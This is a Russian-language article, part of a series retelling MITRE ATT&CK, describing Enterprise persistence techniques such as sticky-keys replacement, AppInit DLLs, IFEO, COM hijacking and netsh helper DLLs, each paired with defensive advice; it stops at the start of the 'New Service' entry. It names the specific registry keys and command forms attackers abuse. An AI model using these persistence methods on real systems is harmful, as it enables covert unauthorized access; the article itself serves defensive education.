Изучаем Adversarial Tactics, Techniques & Common Knowledge (ATT@CK). Enterprise Tactics. Часть 3

habr.com/ru/articles/425177

Андрей Макеев

Закрепление (Persistence)

Ссылки на все части:

Основная задача закрепления доступа состоит в обеспечении постоянства присутствия в атакуемой системе, ведь доступ может быть утрачен в связи с перезапуском атакуемой системы, утерей учетных данных или блокированием инструментов удаленного доступа вследствие обнаружения атаки.

Автор не несет ответственности за возможные последствия применения изложенной в статье информации, а также просит прощения за возможные неточности, допущенные в некоторых формулировках и терминах. Публикуемая информация является свободным пересказом содержания MITRE ATT&CK.

Методы обеспечения постоянства в системе можно условно разделить на 3 категории:

- Несанкционированное создание учетных записей или кража существующих учетных данных;
- Скрытая установка и запуск средств удаленного доступа;
- Внесение в конфигурацию атакуемой системы изменений, с помощью которых становится возможен многочисленный запуск вредоносного кода. Вредоносный код может автоматически запускаться при каждой загрузке системы или каждом входе пользователя в систему, запуске модифицированных или вредоносных служб, запуске пользователем определенных программ, запуске процессов обновления системного или стороннего ПО.

Далее, представлены техники закрепления доступа, предлагаемые ATT&CK.

Модификация файлов ~/.bash_profile и ~/.bashrc

Система: Linux, macOS
Права: Пользователь, администратор
Описание: Злоумышленники могут вставлять код в файлы ~/.bash_profile и ~/.bashrc (*предназначены для создания пользовательской среды в ОС*), который будет выполнятся

когда пользователь войдёт в систему или запустит новую оболочку. Файл ~/.bash_profile выполняется при входе пользователя в систему, ~/.bashrc выполняется при интерактивном открытии оболочек. Когда пользователь входит в систему (локально или удаленно, например по SSH) с помощью имени пользователя и пароля ~/.bash_profile выполняется до того, как будет возвращено пользовательское приглашение. После этого, каждый раз когда открывается новая оболочка выполняется ~/.bashrc.
В macOS Terminal.app немного отличается тем, что он запускает оболочку входа по умолчанию при каждом открытии окна терминала, тем самым каждый раз вызывая ~/.bash_profile.

Рекомендации по защите: Предоставление прав на изменение файлов ~/.bash_profile и ~/.bashrc только для уполномоченных администраторов.

Модификация исполняемых файлов приложений «специальные возможности Windows» (Accessibility Features)

Система: Windows
Права: Администратор
Описание: Приложения «специальные возможности» (экранная лупа, экранная клавиатура и т.п.) могут запускаться с помощью комбинаций клавиш до входа пользователя в систему. Злоумышленник может подменить файлы запуска этих программ или изменить способ их запуска и открыть командную консоль или получить бэкдор без входа в систему.

- *C:\Windows\System32\sethc.exe* — запускается 5-кратным нажатием клавиши Shift;
- *C:\Windows\System32\utilman.exe* — запускается нажатием комбинации Win+U.

В WinXP и более поздних версиях sethc.exe и utilman.exe могут быть заменены, например, на cmd.exe, впоследствии при нажатии нужной комбинации клавиш cmd.exe запуститься до входа в Windows с привилегиями System.
В Vista и более поздних версиях нужно изменить ключ реестра, который настраивает cmd.exe или другую программу в качестве отладчика, например, для ultiman.exe. После правки реестра и нажатии нужной комбинации клавиш на экране входа в систему или при подключении к хосту по RDP выполнится cmd.exe с правами System.
Есть ещё программы Windows, которые могут использоваться при реализации данной техники атаки:

- *C:\Windows\System32\osk.exe;*
- *C:\Windows\System32\Magnify.exe;*
- *C:\Windows\System32\Narrator.exe;*
- *C:\Windows\System32\DisplaySwitch.exe;*
- *C:\Windows\System32\AtBroker.exe.*

Рекомендации по защите: Настройте запуск обязательной сетевой аутентификации удаленных пользователей до создания RDP-сеанса и отображения экрана входа в систему (*включено по умолчанию в Windows Vista и более поздних версиях*). Используйте Remote Desktop Gateway для управления соединениями и настройкой безопасности RDP.

Модификация ключа AppCert DLLs

Система: Windows

Права: Администратор, System
Описание: Библиотеки DLL, указанные в значении ключа AppCertDLLs загружаются в каждый процесс, который вызывает часто используемые функции API: *CreateProcess, CreateProcessAsUser, CreateProcessWithLoginW, CreateProcessWithTokenW, WinExec*. Значением ключа AppCertDLLs можно злоупотреблять, вызвав загрузку вредоносной DLL и запустив определенные процессы. AppCertDLLs хранится в следующем разделе реестра: *HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager*.

Рекомендации по защите: Применяйте всевозможные средства блокировки потенциально-опасного программного обеспечения и загрузки неизвестных DLL-библиотек, например AppLocker и DeviceGuard.

Модификация ключа AppInit DLLs

Система: Windows
Права: Администратор, System
Описание: DLL-библиотеки, указанные в значении ключа AppInit_DLLs, загружаются в каждый процесс, который загружает user32.dll. На практике, это почти каждая программа. AppInit_DLLs хранится в следующих разделах реестра:

- *HKEY_LOCAL_MACHINE\Software\Microsoft\Windows NT\CurrentVersion\Windows;*
- *HKEY_LOCAL_MACHINE\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Windows.*

Значением ключа AppInit_DLLs можно злоупотреблять для превышения привилегий, загружая вредоносные DLL и запуская определенные процессы. Функциональность AppInit_DLLs отключена в Windows 8 и более поздних версиях, когда активирована безопасная загрузка.

Рекомендации по защите: Рассмотрите возможность использования ОС версии не ранее Windows 8 и включения безопасной загрузки. Применяйте всевозможные средства блокировки потенциально-опасного программного обеспечения и загрузки неизвестных DLL-библиотек, например AppLocker и DeviceGuard.

Злоупотребление подсистемой совместимости приложений (Application Shimming)

Система: Windows
Права: Администратор
Описание:Microsoft Windows Application Compatibility Infrastructure/Framework создана для обеспечения совместимости программ с обновлениями Windows и изменениями кода ОС. Система совместимости использует так называемые shim («прокладки») — библиотеки, выступающие в качестве буфера между программой и ОС. С помощью shim-кэша система определяет необходимость использования shim-прокладок (хранятся в виде БД типа .sdb). В файлах .sdb хранятся различные процедуры для перехвата кода приложения, его обработки и дальнейшего перенаправления в ОС. Перечень всех shim-прокладок, установленных установщиком (sdbinst.exe) по умолчанию храниться в:

- *%WINDIR%\AppPatch\sysmain.sdb*;
- *HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\InstalledSDB*.

Кастомные shim-базы хранятся в:

- *%WINDIR%\AppPatch[64]\Custom;*
- *HKLM\Software\Microsoft\Windows NT\CurrentVersion\AppCompatFlags\Custom*.

Для обеспечения защиты в пользовательском режиме исключена возможность изменения ядра ОС с помощью shim-прокладок, а для их установки необходимы права администратора. Однако некоторые shim-прокладки могут использоваться для обхода контроля учетных записей (UAC), DLL-инъекций, отключения Data Execution Prevention и Srtucture Exception Handling, а так же перехвата адресов памяти. Использование злоумышленником shim-прокладок позволяет повысить привилегии, установить бэкдоры, отключить защиту ОС, например Защитник Windows.

Рекомендации по защите: Способов предотвращения Application shiming не так много. Отключение совместимости приложений не рекомендуется во избежание проблем со стабильностью работы ОС. Microsoft выпустила KB3045645, которое удалит флаг «auto-elevate» в файле sdbinst.exe для предотвращения использования shim-системы для обхода UAC.

Модификация компонентов Windows Authentication Package

Система: Windows
Права: Администратор
Описание: DLL-библиотеки Windows Authentification Pack загружаются процессом Local Security Authority (LSA) при запуске системы и обеспечивают поддержку нескольких процессов входа в систему и нескольких протоколов безопасности ОС. Злоумышленники могут использовать механизм автозапуска LSA помещая ссылку на двоичный файл в следующий ключ реестра:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\Authentication Packages:[целевой бинарник].
[Целевой бинарник] будет запущен системой при загрузке пакетов *Authentication Pack*.

Рекомендации по защите: В Windows 8.1, Windows Server 2012 R2 и более поздних версиях LSA можно заставить работать как защищенный процесс (PPL) с помощью ключа реестра:
HKLM\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL = DWORD:00000001,
который требует, чтобы все DLL, загруженные LSA были подписаны цифровым сертификатом Microsoft.

Создание заданий BITS (BITS Jobs)

Система: Windows
Права: Пользователь, Администратор, System
Описание:Windows Background Intelligent Transfer Service (BITS) — это механизм асинхронной передачи файлов через Component Object Model (COM) с использованием низкой пропускной способности. BITS обычно используется программами обновления, мессенджерами и другими приложениями, предпочитающими работать в фоновом режиме без прерывания работы других сетевых приложений. Задачи по передаче файлов представляются как BITS-задания, которые содержат очередь из одной или нескольких операций с файлами. Интерфейс для создания и управления BITS-заданиями доступен в PowerShell и BITSAdmin tool.

Злоумышленники могут использовать BITS для загрузки, запуска и последующей очистки после выполнения вредоносного кода. BITS-задания автономно хранятся в базе данных BITS, при этом в системе не создаются новые файлы или записи в реестре, зачастую BITS разрешен брандмауэром. С помощью BITS-заданий можно закрепиться в системе, создавая длительные задания (по умолчанию 90 дней) или вызывая произвольную программу после завершения BITS-задания или ошибки (в том числе после перезагрузки ОС).

Рекомендации по защите: BITS — стандартный функционал ОС, использование которого трудно отличить от вредоносной активности, поэтому вектор защиты нужно направлять на предотвращение запуска инструментов злоумышленника в начале цепочки атаки. Полное отключение BITS может привести к прекращению обновления законного ПО, однако можно рассмотреть возможность ограничения доступа к интерфейсу BITS для конкретных пользователей и групп доступа, так же можно ограничить время жизни BITS-заданий, которое задается с помощью изменения следующих ключей:

- *HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS\JobInactivityTimeout;*
- *HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\BITS\MaxDownloadTime*.

Буткиты (Bootkit)

Система: Linux, Windows
Права: Администратор, система
Описание: Bootkit — это разновидность вредоносного ПО, которое может менять загрузочные секторы жесткого диска, включая Master Boot Record (MBR) и Volume Boot Record (VBR). Злоумышленники могут использовать Bootkit для закрепления в системах на уровне ниже ОС. MBR — раздел ЖД, который загружается сразу после завершения аппаратной инициализации Bios. Злоумышленник, имеющий доступ на перезапись MBR, может заменить код загрузчика ОС на вредоносный. VBR — раздел жесткого диска, который получает управление процессом загрузки от MBR. По аналогии с вариантом перезаписи MBR, злоумышленник может запустить вредоносной код на этапе загрузки системы.

*Рекомендации по защите: И*спользование средств контроля целостности MBR и VBR. Применение Trusted Platform Module (TPM) и безопасной загрузки (Secure Boot).

Расширения браузеров (Browser Extensions)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Как правило, плагины имеют все доступы и права, которые может получить браузер. Вредоносные плагины могут быть установлены через загрузку вредоносных приложений, замаскированных под законные программы посредством применения техник социальной инженерии, фишинга или злоумышленником, который уже скомпрометировал систему. Вредоносные плагины могут в фоновом режиме открывать веб-сайты, красть информацию, которую пользователь вводит в браузере, включая учетные данные, использоваться как установщики средств удаленного администрирования (RAT) и закрепления в системе.

Рекомендации по защите: Установка плагинов только из надежных источников. Контроль устанавливаемых плагинов с помощью групповой политики. Запрет установки плагинов обычными пользователями. Инвентаризация и мониторинг установленных плагинов.

Модификация параметров ассоциаций файлов (Change Default File Association)

Система: Windows
Права: Пользователь, администратор, system
Описание: Злоумышленники могут изменять ассоциации файлов для запуска произвольных команд. Выбор ассоциации файлов с приложениями храниться в реестре Windows и может быть отредактирован пользователями, администраторами и программами, имеющими доступ к реестру. Приложения могут модифицировать ассоциации для вызова произвольных программ. Параметры системных ассоциаций хранятся в реестре: *HKEY_CLASSES_ROOT\.[extension]*, например, *HKEY_CLASSES_ROOT\.txt*. Различные команды перечисляются как подразделы: *HKEY_CLASSES_ROOT\[handler]\shell\[action]\[command]*, например:

- *HKEY_CLASSES_ROOT\txtfile\shell\open\[command];*
- *HKEY_CLASSES_ROOT\txtfile\shell\print\[command];*
- *HKEY_CLASSES_ROOT\txtfile\shell\printto\[command];*

где *[command]* — это команда, которая будет выполнена при открытии файла с заданным расширением.

Рекомендации по защите: Следуйте *рекомендациям Microsoft* в отношении файловых ассоциаций. Применяйте всевозможные средства блокировки потенциально-опасного программного обеспечения, например AppLocker и DeviceGuard.

Прошивка компонентов (Component Firmware)

Система: Windows
Права: System
Описание: Некоторые злоумышленники могут применять сложные средства для компрометации компонентов компьютера и установки на них вредоносной прошивки, которая будет запускать вредоносный код вне операционной системы или даже главной системной прошивки (Bios). Техника заключается в прошивке компонентов компьютера, которые не имеют встроенной системы проверки целостности, например, жестких дисков. Устройство с вредоносной прошивкой может обеспечивать постоянный доступ к атакуемой системе несмотря на сбои и перезапись жесткого диска. Техника рассчитана на преодоление программной защиты и контроля целостности.

Перехват ссылок и связей Component Object Model Hijacking

Система: Windows
Права: Пользователь
Описание:Microsoft Component Object Model (COM) — это технология создания ПО на основе взаимодействующих компонентов объекта, каждый из которых может использоваться во многих программах одновременно. Злоумышленники могут использовать COM для вставки вредоносного кода, который может быть выполнен вместо легитимного через захват COM-

ссылок и связей. Для перехвата COM-объекта необходимо заменить в реестре Windows ссылку на легитимный системный компонент. При дальнейшем вызове этого компонента будет выполняться вредоносный код.

Рекомендации по защите: Превентивные меры предотвращения данной атаки не рекомендуются, поскольку COM-объекты являются частью ОС и установленного в системе ПО. Блокировка изменений COM-объектов может влиять на стабильность работы ОС и ПО. Вектор защиты рекомендуется направить на блокирование вредоносного и потенциально-опасного ПО.

Создание учетных записей (Create Account)

Система: Windows, Linux, macOS
Права: Администратор
Описание: Злоумышленники, получившие достаточный доступ могут создавать локальные или доменные учетные записи для дальнейшего закрепления в системе. Сетевые пользовательские команды так же могут использоваться для создания учетных записей.

Рекомендации по защите: Применение многофакторной аутентификации. Конфигурация параметров безопасности на важных серверах, настройка элементов управления доступом, брандмауэров. Запрет использования учетной записи администратора домена для выполнения ежедневных операций, в ходе которых злоумышленник может получить сведения об учетной записи. Злоумышленники, которые создали аккаунты в системе могут получить только ограниченный доступ к сети, если уровни доступа должным образом заблокированы. Учетные записи могут потребоваться только для закрепления доступа в отдельной системе.

Перехват поиска DLL (DLL Search Order Hijacking)

Система: Windows
Права: Пользователь, Администратор, System
Описание: Техника заключается в эксплуатации уязвимостей алгоритма поиска приложениями файлов DLL, необходимых им для работы (MSA2269637). Зачастую директорией поиска DLL является рабочий каталог программы, поэтому злоумышленники могут подменять исходную DLL на вредоносную с тем же именем файла.
Удаленные атаки на поиск DLL могут проводиться когда программа устанавливает свой текущий каталог в удаленной директории, например, сетевую шару. Также злоумышленники могут напрямую менять способ поиска и загрузки DLL заменяя файлы .manifest или .local, в которых описываются параметры поиска DLL. Если атакуемая программа работает с высоким уровнем привилегий, то подгруженная ею вредоносная DLL также будет выполняться с высокими правами. В этом случае техника может использоваться для повышения привилегий от пользователя до администратора или System.

Рекомендации по защите: Запрет удаленной загрузки DLL (включено по умолчанию в Windows Server 2012+ и доступно с обновлениями для XP+ и Server 2003+). Включение безопасного режима поиска DLL, который ограничит каталоги поиска директориями типа *%SYSTEMROOT%* до выполнения поиска DLL в текущей директории приложения.
Включение режима безопасного поиска DLL:
Computer Configuration > [Policies] > Administrative Templates > MSS (Legacy): MSS: (SafeDllSearchMode) Enable Safe DLL search mode.

Соответствующий ключ реестра:
HKLM\SYSTEM\CurrentControlSet\Control\Session Manager\SafeDLLSearchMode.
Рассмотрите целесообразность аудита защищаемой системы для устранения недостатков DLL с помощью таких инструментов как модуль PowerUP в PowerSploit. Не забывайте про блокировку вредоносного и потенциально-опасного ПО, а так же выполнение рекомендаций Microsoft.

Перехват поиска Dylib (Dylib Hijacking)

Система: macOS
Права: Пользователь
Описание: Техника основана на уязвимостях алгоритмов поиска динамических библиотек dylib в macOS и OS X. Суть заключается в определении dylib, которые подгружает атакуемое приложение и последующем размещении вредоносной версии dylib с тем же именем в рабочей директории приложения. Это приведёт к загрузке приложением dylib, которая размещена в рабочем каталоге программы. При этом вредоносная Dylib будет выполнятся с правами доступа атакуемого приложения.

Рекомендации по защите: Запрет записи пользователями файлов в каталоги поиска dylib. Аудит уязвимостей с помощью Dylib Hijacking Scanner от Objective-See.

Внешние удаленные сервисы (External Remote Services)

Система: Windows
Права: Пользователь
Описание: Злоумышленники могут использовать внешние удаленные сервисы организации, такие как VPN, Citrix и WinRM для закрепления в пределах атакуемой сети. Доступ к сервисам может осуществляться с помощью валидных аккаунтов, полученных с помощью техник перенаправления пользователей на ложные сайты (pharming), или на этапе компрометации сети.

Рекомендации по защите: Ограничение доступа к удаленным сервисам с помощью централизованно управляемых коммутаторов, применение VPN. Запрет прямого удаленного доступа во внутреннюю сеть посредством использования прокси, шлюзов и межсетевых экранов. Отключение служб, которые можно использовать удаленно, например, WinRM. Применение двухфакторной аутентификации. Мониторинг активности использования удаленных сервисов вне рабочего времени.

Недостатки разрешений на уровне файловой системы (File System Permissions Weakness)

Система: Windows
Права: Пользователь, Администратор
Описание: Суть техники заключается в подмене исполняемых файлов, которые автоматически запускаются различными процессами (например, при загрузке ОС или в определенное время, в случае если права на исполняемые файлы настроены неверно). После подмены вредоносный файл будет запущен с правами процесса, таким образом если процесс имеет более высокий уровень доступа злоумышленник сможет осуществить эскалацию привилегий. В рамках данной техники злоумышленники могут пытаться

манипулировать двоичными файлами служб Windows.
Другой вариант атаки связан с недостатками алгоритмов в работе самораспаковывающихся установщиков. В процессе инсталляции ПО, установщики зачастую распаковывают различные полезные файлы, в том числе .dll и .exe, в каталог %TEMP%, при этом они могут не устанавливать соответствующие разрешения для ограничения доступа к распаковываемым файлам, что позволяет злоумышленникам совершать подмену файлов и, как следствие, повысить привилегии или обойти контроль учетных записей, т.к. некоторые установщики выполняются с расширенными правами.

Рекомендации по защите: Ограничение прав учетных записей, чтобы только администраторы могли управлять службами и взаимодействовать с бинарными файлами, используемыми службами. Отключение в UAC возможности повышения привилегий для стандартных пользователей. Параметры UAC хранятся в следующем разделе реестра:

[HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\Policies\System].

Для автоматического отклонения запросов на повышение привилегий необходимо добавить ключ:
«ConsentPromptBehaviorUser»=dword:00000000.

Для контроля работы установщиков необходимо добавить ключ:
«EnableInstallerDetection»=dword:00000001, который будет требовать ввода пароля для установки программ.

Скрытые файлы и папки (Hidden Files and Directories)

Система: Windows, Linux, macOS
Права: Пользователь
Описание: Злоумышленники могут использовать возможность скрытия файлов и папок, чтобы не привлекать внимания пользователей. В Windows пользователи могут скрывать файлы с помощью команды attrib. Достаточно указать атрибут +h <имя файла>, чтобы скрыть файл или "+s", чтобы отметить файл как системный. Добавив параметр "/S" утилита attrib применит изменения рекурсивно. В Linux/Mac пользователи могут скрывать файлы и папки просто указав в начале имени файла символ ".". После этого файлы и папки будут скрыты от приложения Finder и таких как утилита «ls». В macOS файлы могут быть отмечены флагом UF_HIDDEN, который включит запрет на их видимость в Finder.app, но не запретит видеть скрытые файлы в Terminal.app. Многие приложения создают скрытые файлы и папки, чтобы не загромождать рабочее пространство пользователя. Например, утилиты SSH создают скрытую папку .ssh, в которой хранится список известных хостов и ключи пользователя.

Рекомендации по защите: Предотвращение возможности использования данной техники затруднено в силу того, что скрытие файлов — это штатная функция ОС.

Перехват вызовов функций Windows API (Hooking)

Система: Windows
Права: Администратор, System

Описание: API функции Windows обычно хранятся в DLL-библиотеках. Техника Hooking заключается в перенаправлении вызовов API-функций посредством:

- Hook-процедур — встроенных в ОС процедур, которые выполняют код при вызове различных событий, например, нажатие клавиш или перемещение мыши;
- Модификации адресной таблицы (IAT), в которой хранятся указатели на API-функции. Это позволит «обмануть» атакуемое приложение, заставив его запустить вредоносную функцию;
- Непосредственного изменения функции (сплайсинг), в ходе которого меняются первые 5 байт функции, вместо которых вставляется переход на вредоносную или иную функцию, определенную злоумышленником.

Подобно инъекциям, злоумышленники могут использовать hooking для исполнения вредоносного кода, маскировки его выполнения, доступа к памяти атакуемого процесса и повышения привилегий. Злоумышленники могут захватывать вызовы API, включающие параметры, содержащие аутентификационные данные. Hooking обычно применяется руткитами для скрытия вредоносной активности в системе.

Рекомендации по защите: Перехват событий в ОС является частью нормальной работы системы, поэтому какое либо ограничение данной функциональности может негативно влиять на стабильность работы законных приложений, например антивирусного ПО. Усилия по предотвращению применения техник перехвата необходимо сосредоточить на более ранних этапах цепочки атаки. Обнаружить вредоносную hooking-активность можно с помощью мониторинга вызовов функций SetWindowsHookEx и SetWinEventHook, использования детекторов руткитов, анализа аномального поведения процессов.

Гипервизор (Hypervisor)

Система: Windows
Права: Администратор, System
Описание: Гипервизор может быть скомпрометирован злоумышленником и иметь руткиты, скрытые от гостевых систем.
Рекомендации по защите: Предотвращение доступа злоумышленников к привилегированным учетным записям, необходимым для установки и конфигурирования гипервизора.

IFEO-инъекции (Image File Execution Options Injection)

Система: Windows
Права: Администратор, System
Описание: Механизм Image File Execution Options (IFEO) позволяет запускать вместо программы её отладчик, заранее указанный разработчиком в реестре:

- *HKLM\Software\Microsoft\Windows NT\CurrentVersion\Image File Execution Options/[executable]*
- *HKLM\SOFTWARE\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Image File Execution Options\[executable]*,, где *[executable]* — это исполняемый двоичный файл отладчика.

Подобно инъекциям, значением *[executable]* можно злоупотреблять запуская произвольный

код, чтобы повысить привилегии или закрепиться в системе. Вредоносные программы могут использовать IFEO на для обхода защиты, регистрируя отладчики, которые перенаправляют и отклоняют различные системные приложения и приложения безопасности.

Рекомендации по защите: Описываемая техника основана на злоупотреблении штатными средствами разработки ОС, поэтому какие-либо ограничения могут вызвать нестабильность работы законного ПО, например, приложений безопасности. Усилия по предотвращению применения техники IFEO-инъекций необходимо сосредоточить на более ранних этапах цепочки атаки. Обнаружить подобную атаку можно с помощью мониторинга процессов с флагами *Debug_process* и *Debug_only_this_process*.

Расширения и загружаемые модули ядра (Kernel Modules and Extensions)

Система: Linux, macOS
Права: Root
Описание: Загружаемые модули ядра (LKM) — это специальные программы, которые могут загружаться и выгружаться из ядра без необходимости полной перезагрузки системы. Например, к LKM относятся драйверы устройств. Злоумышленники могут подгружать вредоносные LKM с помощью различных rootkit. Как правило, такие руткиты срывают себя, файлы, процессы, сетевую активность, фальсифицируют журналы аудита, предоставляют бэкдоры. Подобно LKM в macOS существуют так называемые KEXT, которые загружаются и выгружаются командами kextload и kextunload.

Рекомендации по защите: Используйте инструменты обнаружения руткитов в Linux: rkhunter, chrootkit. Ограничивайте доступ к учетной записи root, которая необходима для загрузки модулей в ядро. Применяйте систему принудительного контроля доступа SELinux.

Модификация заголовка LC_LOAD_DYLIB Addition в файлах Mach-O (LC_LOAD_DYLIB Addition)

Система: macOS
Права: Пользователь
Описание: Файлы Mach-O содержат ряд заголовков, которые используются для выполнения определенных операций при загрузке двоичного файла. Заголовок LC_LOAD_DYLIB в бинарниках Mach-O указывает ОС какие dylib-библиотеки нужно подгружать. Изменения заголовков приведут к аннулированию цифровой подписи, однако злоумышленник может удалить из двоичного файла команду LC_CODE_SIGNATURE и система не будет проверять корректность подписи во время его загрузки.

Рекомендации по защите: Все двоичные файлы должны быть подписаны корректными Apple Developer IDs, а белые списки приложений составлены по известным хешам.

Драйверы Local Security Authority (LSASS Driver)

Система: Windows
Права: Администратор, system
Описание: Local Security Authority (LSA) — подсистема Windows, обеспечивающая аутентификацию пользователя. LSA включает несколько динамических взаимосвязанных библиотек DLL, которые выполняются в процессе LSASS.exe. Злоумышленники могут

атаковать LSASS.exe путем замены или добавления нелегитимных драйверов LSA с последующим выполнением произвольного кода. Техника реализована во вредоносных программах Pasam и Wingbird, которые «подбрасывают» модифицированные DLL, используемые при загрузке LSASS. При этом вредоносный код выполняется до того, как нелегитимная DLL вызовет сбой и последующее падение службы LSASS.

Рекомендации по защите: В Windows 8.1 и Server 2012 R2 включите защиту LSA путём активации указанного ключа:

HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\Control\Lsa\RunAsPPL=dword:00000001.

Эта защита гарантирует, что загружаемые LSA плагины и драйверы будут подписаны цифровой подписью Microsoft. В Windows 10 и Server 16 включите Windows Defender Credential Guard для запуска lsass.exe в изолированной виртуальной среде. В целях снижения риска загрузки в lsass.exe вредоносных библиотек включите режим безопасного поиска DLL:
HKEY_LOCAL_MACHINE\System\CurrentControlSet\Control\Session Manager\SafeDllSearchMode.

Агенты запуска (Launch Agent)

Система: macOS
Права: Пользователь, администратор
Описание: Техника заключается в злоупотреблении функционалом создания и запуска пользователями Агентов запуска (Launch Agent) — автозапускаемых сервисов на уровне пользователя. При входе каждого пользователя в систему launchd загружает параметры Агентов запуска из файлов *.plist. Plist-файлы имеют XML-структуру и содержат инструкции, которые указывают launchd какие исполняемые файлы и когда запускать. Plist-файлы можно найти в следующих директориях:

- */System/Library/LaunchAgents;*
- */Library/LauncAgents;*
- *$Home/Library/LaunchAgents.*

Злоумышленники могут также маскировать имена вредоносных Агентов запуска с использованием названий легитимных программ. Например, троян Komplex создаёт агент запуска: $HOME/Library/LaunchAgents/com.apple.updates.plist.

Рекомендации по защите: С помощью групповой политики настройте ограничение создания пользователями Агентов запуска. Создание Агентов запуска предполагает загрузку или создание plist-файлов на диск, поэтому сосредоточьте усилия по защите на более ранних этапах атаки.

Запуск демонов (Launch Daemon)

Система: macOS
Права: Администратор
Описание: Техника заключается в изменении злоумышленником параметров сервисов системного уровня запуска — Launch Daemon, указанных в plist-файлах. При загрузке

системы процесс Launchd загружает параметры сервисов (демонов) из plist-файлов расположенных в следующих директориях:

- /System/Library/LaunchDeamons;
- /Library/LaunchDeamons.

Launch Daemon могут создаваться с администраторскими привилегиями, но выполнятся под учетной записью root, таким образом злоумышленник может реализовать эскалацию привилегий. Разрешения plist-файлов должны быть root:while, однако сценарий или программа, указанные в нём, могут иметь менее строгие разрешения. Поэтому злоумышленник может изменить исполняемые файлы, указанные в plist, и, таким образом, модифицировать текущие системные сервисы для закрепления в системе или эскалации привилегий.

Рекомендации по защите: Ограничьте привилегии пользователей, чтобы только авторизованные администраторы могли создавать Launch Daemon. Рассмотрите возможность мониторинга создания в системе plist-файлов с помощью таких приложений как KnockKnock.

Утилита Launchctl

Система: macOS
Права: Пользователь, Администратор
Описание: Launchctl — утилита для управления сервисом Launchd. С помощью Launchctl можно управлять системными и пользовательскими сервисами (LaunchDeamons и LaunchAgents), а также выполнять команды и программы. Launchctl поддерживает подкоманды в командной строке, интерактивные или перенаправленные со стандартного ввода:
launchctl submit -l [labelname] — /Path/to/thing/to/execute "arg" "arg" "arg".
Запуская и перезапуская сервисы и демоны, злоумышленники могут выполнить код и даже обойти белый список, если launchctl является разрешенным процессом, однако загрузка, выгрузка и перезагрузка сервисов и демонов может требовать повышенных привилегий.

Рекомендации по защите: Ограничение прав пользователей на создание Launch Agents и запуск Launch Deamons с помощью групповой политики. С помощью приложения KnockKnock можно обнаружить программы, которые используют launchctl для управления Launch Agents и Launch Deamons.

Локальное планирование задач (Local Job Scheduling)

Система: Linux, macOS
Права: Пользователь, администратор, root
Описание: Злоумышленники могут создать в атакуемых системах задания для несанкционированного запуска программ при загрузке системы или по расписанию. В системах Linux и Apple поддерживается несколько методов планирования запуска периодических фоновых задач: cron, at, launchd. В отличие от Планировщика задач Windows, планирование заданий в Linux-системах невозможно осуществить удаленно, за исключением использования удаленных сеансов типа SSH.

Рекомендации по защите: Ограничение прав пользователей на создание планируемых заданий, блокировка системных утилит и другого ПО, которое может использоваться для планирования заданий.

Элементы входа (Login Item)

Система: macOS
Права: Пользователь
Описание: Злоумышленники в целях закрепления в системе могут настроить автозапуск своего кода с помощью элементов входа (login Item) — пользовательских настроек автозапуска приложений при каждом входе в систему. Login Item, созданные с помощью Service Management Framework, не отображаются в системных настройках и могут быть удалены только через приложение, в котором они были созданы. Пользователи могут управлять только теми Login Item, которые отображаются в системных настройках. Настройки таких Login Item хранятся в plist-файле в пользовательской директории: *~/Library/Preferences/com.apple.loginitems.plist.*
Приложения, входящие в состав Login Item, при запуске могут отображать видимые пользователю окна, но с помощью опции «Hide» их можно скрыть.

Рекомендации по защите: Ограничивайте права пользователей на создание Login Item. Стоит отметить, что удержание клавиши shift во время входа в систему запрещает автоматический запуск приложений. Контролируйте настройки Login Item (*Системные настройки → Пользователи и группы → Элементы входа*).

Logon-скрипты (Logon Scripts)

Система: Windows, macOS
Описание: В целях закрепления в системе атакующий может использовать возможность создания новых или изменения существующих logon-скриптов — сценариев которые выполняются всякий раз когда конкретный пользователь или группа пользователей выполняет вход в систему. Если злоумышленник получил доступ к logon-скрипту на контроллере домена Windows, то он может модифицировать его для исполнения кода во всех системах домена в целях «бокового перемещения» по сети. В зависимости от настроек прав доступа к файлам сценариев входа в систему (обычно такие сценарии хранятся в *\\[DC]\NETLOGON*) атакующему могут потребоваться локальные или административные учетные данные.

В Mac, logon-скрипты (Login/Logout Hook), в отличие от Login Item, которые запускаются в контексте пользователя, могут запускаться от имени root.

Рекомендации по защите: Ограничение прав администраторов на создание сценариев входа в систему. Идентификация и блокирование потенциально-опасного ПО, которое может использоваться для модификации сценариев входа.

Модификация существующих служб (Modify Existing Service)

Система: Windows
Права: Администратор, System
Описание: Для многократного запуска вредоносного кода в системе, атакующий может изменять конфигурацию существующих служб с помощью системных утилит или инструментов взаимодействия с Windows API. Злоумышленники могут преднамеренно повредить или убить службу для последующего вызова модифицированной программы или команды восстановления службы. Использование существующих служб — это один из приёмов маскарадинга, который затрудняет обнаружение вредоносной активности.

Информация о конфигурации служб Windows, включая путь к программам и командам запуска и восстановления службы, хранится в реестре:
HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services.

Конфигурацию служб можно менять с помощью консольных утилит sc.exe и Reg.

Рекомендации по защите: Ограничение привилегий пользователей и групп на изменение конфигураций служб, предоставив права только уполномоченным администраторам. Блокирование потенциально-опасного ПО. Для исследования изменений в системных службах с целью выявления попыток закрепления атакующего в системе можно применять утилиту Sysinternals Autoruns.

Вспомогательные DLL утилиты Netsh (Netsh Helper DLL)

Система: Windows
Права: Администратор, System
Описание: Атакующие могут выполнить код с помощью встроенной консольной утилиты Netsh, которая для расширения функционала позволяет подгружать вспомогательные DLL:
netsh> add helper [Путь к DLL]
Информация о зарегистрированных библиотеках, используемых netsh, хранится в реестре:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\NetSh
Некоторые корпоративные VPN-клиенты и сетевые утилиты могут использовать netsh.exe, запуская его от имени System, в такой ситуации атакующий может зарегистрировать или модифицировать вспомогательную DLL, которая будет выполняться при использовании netsh VPN-клиентом. Инструменты для реализации данного типа атаки включены в состав CobaltStrike (фреймворк для проведения тестов на проникновение).

Рекомендации по защите: Блокирование потенциально-опасного ПО с помощью таких средств, как AppLocker.

Новые службы (New Service)

Система: Windows
